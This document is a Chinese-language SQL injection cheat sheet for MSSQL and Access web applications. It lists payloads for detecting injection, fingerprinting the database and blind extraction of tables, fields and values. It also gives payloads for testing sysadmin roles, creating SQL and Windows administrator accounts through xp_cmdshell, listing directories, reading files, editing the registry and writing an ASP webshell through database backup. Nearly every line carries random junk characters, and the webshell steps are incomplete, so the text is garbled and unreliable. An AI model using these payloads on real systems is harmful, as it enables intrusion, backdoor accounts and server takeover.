1.判断是否有注入;and 1=1 ;and 1=2 .+aSa?h_
2.初步判断是否是mssql ;and user>0 :$[m[y7i
NF0} eom
3.注入参数是字符'and [查询条件] and ''=' 2P9h x5PiV
NS=puo
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 9F kwtF
b/]C,P
5.判断数据库系统 FFH-Kw,
CQ sVGn{x
;and (select count(*) from sysobjects)>0 mssql dvsOJj/b
wmY6&^?uS
;and (select count(*) from msysobjects)>0 access 0_Etm83Wq6
dW!T.S
6ssZg@}nf{
(XT^<#Ga
6.猜数据库 ;and (select Count(*) from [数据库名])>0 VX&KGG.6
+YhTb
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 O" ['.b
+S|y)W8
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 E](Ood
w0moC9#$?
9.(1)猜字段的ascii值(access) _}`iLA!$I
y{K~g<VL
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ?{cF'RB.
!e.@Xk.P6
(2)猜字段的ascii值(mssql) j/wNPB/NM
Tb}`]Y`X
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 V# w$|B\
o?^j1\^
10.测试权限结构(mssql) 'fcJ]%-=
Pp3tEZfE
:!3CoC.X|c
i/oaKpPN
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- S! ,.#e (Y
]=q?=%H
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- |...T
4:^Y
w{K_+}fAC
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- GC$Hp!H
)F]E[sga
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- |??uVA)\X
5`6@CRef
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 2#6yO`?uo
sxnj`z
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Tp[ub(/;7
Y4!v1
;and 1=(select IS_MEMBER('db_owner'));-- QS_"fsyN:
X,x{!
^7TM.lE
=wU08}
11.添加mssql和系统的帐户 h{J2CWJ
yZ 6560(q
;exec master.dbo.sp_addlogin username;-- Q?7UiTZ
;exec master.dbo.sp_password null,username,password;-- SMqJMirR
.0.Ha}{6b
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- gGe `w
F7#
;exec master.dbo.xp_cmdshell 'net user username password x1$fkNu
D19uI&U4
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- #=7~.Y
sqJ?dIBH
;exec master.dbo.xp_cmdshell 'net user username password /add';-- *'PG@S
Jan73AOX
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- '(&.[Pk:"
6BLw 4m=h
XLg6?Nu
_hA p@?
M
12.(1)遍历目录 OPBnU@=R
}LDDm/$^}
;create table dirs(paths varchar(100), id int) DDc?GY:
,t5Ku)eNm
;insert dirs exec master.dbo.xp_dirtree 'c:\' J03yFT,dF
yXR$MT+ ~
;and (select top 1 paths from dirs)>0 ^C_Y[i
~|
HWFo9as""v
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) #{UM4~|:
*hAq]VC})
>F!2ib8
gG~UsA
(2)遍历目录 t~Cul+
qL,!
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- f77Jn^Dt
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 EF qWnz
@lDoMm,m'
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 j5G8IP_Wx
`kVy1WiY
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 m+"?;;s
L@t<%fy@
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Z-*L[
M7fw/i
80&JEtRh
%W+*)u72(
13.mssql中的存储过程 !d&K,k
;6U=fBp7<
xp_regenumvalues 注册表根键, 子键 K82pWpR
)(_}60
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 x =5k74
M@E*_U!U
xp_regread 根键,子键,键值名 *(PGLYK
l}5@6;}
;exec xp_regread yO]Vex5)
GFYAg
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 k3}|^/bHJ
L#M9 !
xp_regwrite 根键,子键, 值名, 值类型, 值 r|{h7'
7^ITedW@
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 >|/NDF=\s
7Xw;TA
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 # ~}
26
bezT\F/\
xp_regdeletevalue 根键,子键,值名 uv/I`[@HK8
F(Pe@ #)A
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Ky8sLm@
!\z:S?V
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
B ;9^
_ohZTT%l
V ;
Yl:*
z\sy~DM;>
14.mssql的backup创建webshell 8G6PcTqv"
-sh S?kV
use model ZXY5Xvt:v
"<Dn%r
create table cmd(str image); i"_)91RA
#Ne<=ayS
insert into cmd(str) values (''); G{pfyfF
e_kP=|u)g
backup database model to disk='c:\l.asp'; Nh^T,nv*l
{W)Kz_
4h@jJm
E*:!G
15.mssql内置函数 1j`-lD
M$B9?N6
;and (select @@version)>0 获得Windows的版本号 _*>bf G
+\fr3@Yc
;and user_name()='dbo' 判断当前系统的连接用户是不是sa E5~HH($b
t>)iC)^u
;and (select user_name())>0 爆当前系统的连接用户 C\ZL*,%}
Vl%AN;o
;and (select db_name())>0 得到当前连接的数据库 m.iCGX
rr>QG<i;G
o8-BTq8
{KxeH7S
16.简洁的webshell [2pp)wq
GvF8S MO[x
use model '_lyoVP
zH0%;
o}
create table cmd(str image); [ >O4hifq
9z$]hl
insert into cmd(str) values (''); WS/^WxRY
n#uH^@#0
backup database model to disk='g:\wwwtest\l.asp';